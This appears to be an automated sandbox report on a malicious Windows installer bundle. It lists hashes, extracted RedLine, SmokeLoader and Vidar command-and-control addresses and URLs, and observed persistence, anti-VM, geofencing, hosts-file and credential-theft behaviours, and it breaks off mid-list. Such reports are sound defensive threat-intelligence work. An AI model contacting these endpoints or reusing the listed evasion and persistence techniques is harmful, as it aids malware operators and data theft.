Resubmissions
02-11-2021 06:54
211102-hpn1zsbhc2 1002-11-2021 06:42
211102-hgpmjsgggp 1001-11-2021 21:47
211101-1ncknsfgfm 10Analysis
-
max time kernel
15428s -
max time network
17999s -
platform
windows10_x64 -
resource
win10-ja-20211014 -
submitted
02-11-2021 06:54
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-ja-20210920
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7-en-20210920
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7-de-20211014
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win10-ja-20211014
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10-en-20210920
Behavioral task
behavioral7
Sample
setup_x86_x64_install.exe
Resource
win10-de-20211014
General
-
Target
setup_x86_x64_install.exe
-
Size
4.2MB
-
MD5
b5b5fe52ed9ca7d47bfb857498fd684c
-
SHA1
9c17089a630141c9b4e13ef46ab334d46709fdb8
-
SHA256
6cbb4380d880c6bab221c81122b32e225ebf224942191fb08df5df82f971864b
-
SHA512
482de7cacf73eb37050e323312b05d3d5d2152048efa5defa4b3d8687f6b3355233d8bf3f04d6107a7214f4b21e4f81f83313ecaf3bdcda98c7d95d60a41e79a
Malware Config
Extracted
redline
media0121
91.121.67.60:23325
Extracted
redline
newjust
135.181.129.119:4805
Extracted
smokeloader
2020
http://brandyjaggers.com/upload/
http://andbal.com/upload/
http://alotofquotes.com/upload/
http://szpnc.cn/upload/
http://uggeboots.com/upload/
http://100klv.com/upload/
http://rapmusic.at/upload/
Extracted
vidar
41.6
933
https://mas.to/@lilocc
-
profile_id
933
Signatures
-
Modifies system executable filetype association 2 TTPs 3 IoCs
Processes:
OneDriveSetup.exedescription ioc process Key deleted \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}" OneDriveSetup.exe -
Process spawned unexpected child process 8 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5376 1376 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4808 1376 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8284 1376 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2300 1376 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5716 1376 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3968 1376 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8444 1376 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6364 1376 rundll32.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
Processes:
resource yara_rule behavioral5/memory/840-284-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral5/memory/1288-287-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral5/memory/1288-289-0x0000000000418D3A-mapping.dmp family_redline behavioral5/memory/840-288-0x0000000000418D26-mapping.dmp family_redline -
Registers COM server for autorun 1 TTPs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17870faab0.exe family_socelars C:\Users\Admin\AppData\Local\Temp\7zS483D7956\Mon17870faab0.exe family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 6 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exedescription pid process target process PID 6048 created 5012 6048 WerFault.exe Mon1708beae021a5ff.exe PID 2136 created 4568 2136 WerFault.exe setup.exe PID 6316 created 6660 6316 WerFault.exe smSluB04E17McvhBkWW7TtMh.exe PID 6980 created 7268 6980 WerFault.exe GcleanerEU.exe PID 4952 created 7108 4952 WerFault.exe fOeZKo5yWlrxmuDmEewDgnns.exe PID 4720 created 4428 4720 WerFault.exe GcleanerEU.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
Processes:
resource yara_rule behavioral5/memory/868-452-0x0000000000400000-0x00000000004D9000-memory.dmp family_vidar behavioral5/memory/868-460-0x00000000021E0000-0x00000000022B6000-memory.dmp family_vidar -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS483D7956\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS483D7956\libcurl.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS483D7956\libcurl.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS483D7956\libcurlpp.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS483D7956\libstdc++-6.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS483D7956\libstdc++-6.dll aspack_v212_v242 -
Blocklisted process makes network request 24 IoCs
Processes:
schtasks.execmd.exeMsiExec.exepowershell.exepowershell.exeMsiExec.exepowershell.exemshta.exeflow pid process 264 3968 schtasks.exe 293 3968 schtasks.exe 523 4540 cmd.exe 705 3612 MsiExec.exe 716 3612 MsiExec.exe 716 3612 MsiExec.exe 716 3612 MsiExec.exe 705 3612 MsiExec.exe 811 4108 powershell.exe 815 4108 powershell.exe 1772 6816 powershell.exe 3226 8016 MsiExec.exe 3227 8016 MsiExec.exe 3228 8016 MsiExec.exe 3230 8016 MsiExec.exe 4136 7284 powershell.exe 4141 7284 powershell.exe 6089 5712 mshta.exe 6092 5712 mshta.exe 6093 5712 mshta.exe 6096 5712 mshta.exe 6097 5712 mshta.exe 6100 5712 mshta.exe 6101 5712 mshta.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 7 IoCs
Processes:
DrvInst.exeDYbALA.exeDYbALA.exeDYbALA.exeDYbALA.exedescription ioc process File opened for modification C:\Windows\System32\drivers\tap0901.sys DrvInst.exe File opened for modification C:\Windows\system32\drivers\etc\hosts DYbALA.exe File opened for modification C:\Windows\system32\drivers\etc\hosts DYbALA.exe File opened for modification C:\Windows\system32\drivers\etc\hosts DYbALA.exe File opened for modification C:\Windows\system32\drivers\etc\hosts DYbALA.exe File opened for modification C:\Windows\System32\drivers\SETB598.tmp DrvInst.exe File created C:\Windows\System32\drivers\SETB598.tmp DrvInst.exe -
Executes dropped EXE 64 IoCs
Processes:
setup_installer.exesetup_install.exeMon17870faab0.exeMon175e6c8b40064b8c8.exeMon178e7a516181.exeMon173a360b525.exeMon17bffc2992eb3d.exeMon17bbf11fdb575d.exeMon179f74c0ff3cf1f.exeMon174a6c5f1664f.exeMon17afe24e0084db3.exeMon178d8e5d06822.exeMon1727c156c4abcec.exeMon17a0d8ec302e.exeMon1708beae021a5ff.exeMon17332e41e6b.exeMon17bbf11fdb575d.tmpMon17afe24e0084db3.exeWerFault.exeMon17bbf11fdb575d.tmpLzmwAqmV.exeMon174a6c5f1664f.exeMon1727c156c4abcec.exeDownFlSetup110.exe8432954.execmd.exeSoft1WW01.exe825550.exechrome.exe6jZhRtW.EXechrome2.exe7061122.exesearch_hyperfs_206.exepostback.exe3963561.exe6659323.exesetup.exe208712.exezhanglijuan-game.exeCalculator Installation.exechrome3.exeChrome5.exe2028737975.exeWinHoster.exekPBhgOaGQk.exeFZkDRs9RSZN.Exe3298117.exeLzmwAqmV.exe1798190.exe6436128.exe7975096.exe8445622.exe1867620.exe3653892875.exezeddqjRK5Nt0tZ3qBoLBiShF.exewABnEW3n7zEIT4vldLIvVjMv.exeschtasks.exeZkJmaceo9l7ppAjEu9tjrYSa.exeuCCG6A1Q9eorB13x5Uh_rF61.exe4IfJXZwzYDn2VXHij3ctLJV2.exerundll32.exebAYBBOjPqDL83I0RlpnTqyWX.exesmSluB04E17McvhBkWW7TtMh.exegMOP3J34EAsRJt9O9qulOT3m.exepid process 4996 setup_installer.exe 664 setup_install.exe 4200 Mon17870faab0.exe 4940 Mon175e6c8b40064b8c8.exe 4624 Mon178e7a516181.exe 1964 Mon173a360b525.exe 4252 Mon17bffc2992eb3d.exe 1180 Mon17bbf11fdb575d.exe 4116 Mon179f74c0ff3cf1f.exe 2964 Mon174a6c5f1664f.exe 2580 Mon17afe24e0084db3.exe 4324 Mon178d8e5d06822.exe 1496 Mon1727c156c4abcec.exe 5016 Mon17a0d8ec302e.exe 5012 Mon1708beae021a5ff.exe 3668 Mon17332e41e6b.exe 3708 Mon17bbf11fdb575d.tmp 364 Mon17afe24e0084db3.exe 4804 WerFault.exe 3852 Mon17bbf11fdb575d.tmp 508 LzmwAqmV.exe 840 Mon174a6c5f1664f.exe 1288 Mon1727c156c4abcec.exe 1976 DownFlSetup110.exe 4592 8432954.exe 4680 cmd.exe 868 Soft1WW01.exe 2224 825550.exe 2572 chrome.exe 2536 6jZhRtW.EXe 1148 chrome2.exe 2032 7061122.exe 4340 search_hyperfs_206.exe 3712 postback.exe 4168 3963561.exe 1088 6659323.exe 4568 setup.exe 3924 208712.exe 3036 zhanglijuan-game.exe 4236 Calculator Installation.exe 2768 chrome3.exe 1264 Chrome5.exe 3944 2028737975.exe 816 WinHoster.exe 3032 kPBhgOaGQk.exe 2252 FZkDRs9RSZN.Exe 5168 3298117.exe 5364 LzmwAqmV.exe 5472 1798190.exe 5652 6436128.exe 5896 7975096.exe 5948 8445622.exe 6008 1867620.exe 3200 3653892875.exe 6588 zeddqjRK5Nt0tZ3qBoLBiShF.exe 6612 wABnEW3n7zEIT4vldLIvVjMv.exe 3968 schtasks.exe 3248 ZkJmaceo9l7ppAjEu9tjrYSa.exe 6608 uCCG6A1Q9eorB13x5Uh_rF61.exe 6536 4IfJXZwzYDn2VXHij3ctLJV2.exe 6404 rundll32.exe 6668 bAYBBOjPqDL83I0RlpnTqyWX.exe 6660 smSluB04E17McvhBkWW7TtMh.exe 6708 gMOP3J34EAsRJt9O9qulOT3m.exe -
Checks BIOS information in registry 2 TTPs 16 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
6436128.exelv1WjFObOkFtmMFjcOs8Lr5b.exeR3G7dwnC5UWQSVCisTbZ3gdP.exesmSluB04E17McvhBkWW7TtMh.exebAYBBOjPqDL83I0RlpnTqyWX.exe825550.exe7061122.exe1798190.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 6436128.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion lv1WjFObOkFtmMFjcOs8Lr5b.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion R3G7dwnC5UWQSVCisTbZ3gdP.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 6436128.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion smSluB04E17McvhBkWW7TtMh.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion smSluB04E17McvhBkWW7TtMh.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion bAYBBOjPqDL83I0RlpnTqyWX.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion lv1WjFObOkFtmMFjcOs8Lr5b.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 825550.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7061122.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 1798190.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion R3G7dwnC5UWQSVCisTbZ3gdP.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion bAYBBOjPqDL83I0RlpnTqyWX.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 825550.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7061122.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 1798190.exe -
Checks computer location settings 2 TTPs 16 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Mon178e7a516181.exeCalculator.exeCalculator.exeCalculator.exeSettings.exe9K3DJ2MFUMeOjSxG5pCVZuLY.exemshta.exekPBhgOaGQk.exeMon179f74c0ff3cf1f.exeRhz_9tBW6JMG__y4RAyBu9QD.exeRhz_9tBW6JMG__y4RAyBu9QD.exeSettings.exeXokuxawegy.exeSettings.exe7Sx91zJmTpk5gOx1oDuDBfK4.exeGcleanerEU.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Mon178e7a516181.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Calculator.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Calculator.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Calculator.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Settings.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation 9K3DJ2MFUMeOjSxG5pCVZuLY.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation kPBhgOaGQk.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Mon179f74c0ff3cf1f.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Rhz_9tBW6JMG__y4RAyBu9QD.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Rhz_9tBW6JMG__y4RAyBu9QD.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Settings.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Xokuxawegy.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Settings.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation 7Sx91zJmTpk5gOx1oDuDBfK4.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation GcleanerEU.exe -
Loads dropped DLL 64 IoCs
Processes:
setup_install.exeMon17bbf11fdb575d.tmpMon17bbf11fdb575d.tmpCalculator Installation.exe9dGJsTt438VmesvmGk6ByPU3.exeregsvr32.exeMicrosoftEdgeCP.exeSoft1WW01.exeregsvr32.exemsiexec.exesetup.exerundll32.exeschtasks.exe4IfJXZwzYDn2VXHij3ctLJV2.exeany.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exepid process 664 setup_install.exe 664 setup_install.exe 664 setup_install.exe 664 setup_install.exe 664 setup_install.exe 664 setup_install.exe 664 setup_install.exe 3708 Mon17bbf11fdb575d.tmp 3852 Mon17bbf11fdb575d.tmp 4236 Calculator Installation.exe 4236 Calculator Installation.exe 5828 9dGJsTt438VmesvmGk6ByPU3.exe 6572 regsvr32.exe 6572 regsvr32.exe 4236 MicrosoftEdgeCP.exe 4236 MicrosoftEdgeCP.exe 4236 MicrosoftEdgeCP.exe 868 Soft1WW01.exe 868 Soft1WW01.exe 3700 regsvr32.exe 3700 regsvr32.exe 4512 msiexec.exe 4512 msiexec.exe 3960 setup.exe 3960 setup.exe 6404 rundll32.exe 3968 schtasks.exe 3968 schtasks.exe 6536 4IfJXZwzYDn2VXHij3ctLJV2.exe 6536 4IfJXZwzYDn2VXHij3ctLJV2.exe 3596 any.exe 3596 any.exe 3960 setup.exe 3960 setup.exe 3520 Calculator.exe 3960 setup.exe 3520 Calculator.exe 3520 Calculator.exe 6044 Calculator.exe 6832 Calculator.exe 3596 any.exe 3596 any.exe 3596 any.exe 3300 Calculator.exe 3300 Calculator.exe 1684 Calculator.exe 3300 Calculator.exe 1684 Calculator.exe 1684 Calculator.exe 2960 Calculator.exe 2960 Calculator.exe 2960 Calculator.exe 2456 Calculator.exe 2456 Calculator.exe 2456 Calculator.exe 2456 Calculator.exe 5392 Calculator.exe 5392 Calculator.exe 5392 Calculator.exe 3300 Calculator.exe 5392 Calculator.exe 4308 Calculator.exe 4308 Calculator.exe 4308 Calculator.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 23 IoCs
Processes:
setup.exeDYbALA.exesetup.exesetup.exesetup.exeaipackagechainer.exeSettings%20Installation.exeraserver.exesetup.exesetup.exeOneDriveSetup.exe6659323.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75" setup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\FarLabUninstaller\\Ganyfaehuqi.exe\"" DYbALA.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75" setup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75" setup.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run aipackagechainer.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\ aipackagechainer.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Settings%20Installation.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Settings = "C:\\Users\\Admin\\AppData\\Roaming\\Settings\\Settings.exe --ZgwMku75" Settings%20Installation.exe Key created \Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run raserver.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75" setup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\"" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 6659323.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75" setup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --ZgwMku75" setup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\SPULAL_H1BT = "C:\\Program Files (x86)\\Dbrhdk08\\rhphjohbnz.exe" raserver.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\"" OneDriveSetup.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe -
Checks for any installed AV software in registry 1 TTPs 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\SOFTWARE\KasperskyLab powershell.exe Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\SOFTWARE\KasperskyLab powershell.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
bAYBBOjPqDL83I0RlpnTqyWX.exeinstaller.exeCalculator.exe7061122.exehEPbeAf5cdzCvC40FkJ2kgey.exeno0l9mpWsCqV6aZKeWDYdC_0.tmpCalculator.execmd.exemshta.exemshta.exemshta.exemshta.exesmSluB04E17McvhBkWW7TtMh.exeRETuVudjx66NFysfuAc3c7iE.exeZHawaerobugi.execmd.exe7975096.exeCalculator.exemshta.exeany.exeCalculator.exeUhuSYtqhJLpRERn0Qgp62I0E.tmp825550.exeinstaller.exemshta.exevpn.tmp7Sx91zJmTpk5gOx1oDuDBfK4.exemshta.exe6jZhRtW.EXeRWNT0eZRumXl9Un3fyeMW15G.exejg1_1faf.exemshta.exemshta.exeFZkDRs9RSZN.Exepostback.exemshta.exesetup.exemshta.exemshta.execmHfofMk0KBLXUYfsI02YUE3.tmpCalculator.exemshta.exemshta.execmd.exekPBhgOaGQk.exe6436128.exeCalculator.exehEPbeAf5cdzCvC40FkJ2kgey.exesetting.exePowerControl_Svc.exemshta.exeR3G7dwnC5UWQSVCisTbZ3gdP.exevwcireumshta.exeMoqycupyvi.exesetup.exerundll32.exeGcleanerEU.exelv1WjFObOkFtmMFjcOs8Lr5b.exe1798190.exeLzmwAqmV.exeinstaller.exekPBhgOaGQk.exeCalculator.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA bAYBBOjPqDL83I0RlpnTqyWX.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA installer.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Calculator.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 7061122.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA hEPbeAf5cdzCvC40FkJ2kgey.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA no0l9mpWsCqV6aZKeWDYdC_0.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Calculator.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA cmd.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA smSluB04E17McvhBkWW7TtMh.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA RETuVudjx66NFysfuAc3c7iE.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA ZHawaerobugi.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA cmd.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 7975096.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Calculator.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA any.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Calculator.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA UhuSYtqhJLpRERn0Qgp62I0E.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 825550.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA installer.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA vpn.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 7Sx91zJmTpk5gOx1oDuDBfK4.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 6jZhRtW.EXe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA RWNT0eZRumXl9Un3fyeMW15G.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA jg1_1faf.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA FZkDRs9RSZN.Exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA postback.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA setup.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA mshta.exe Key value queried 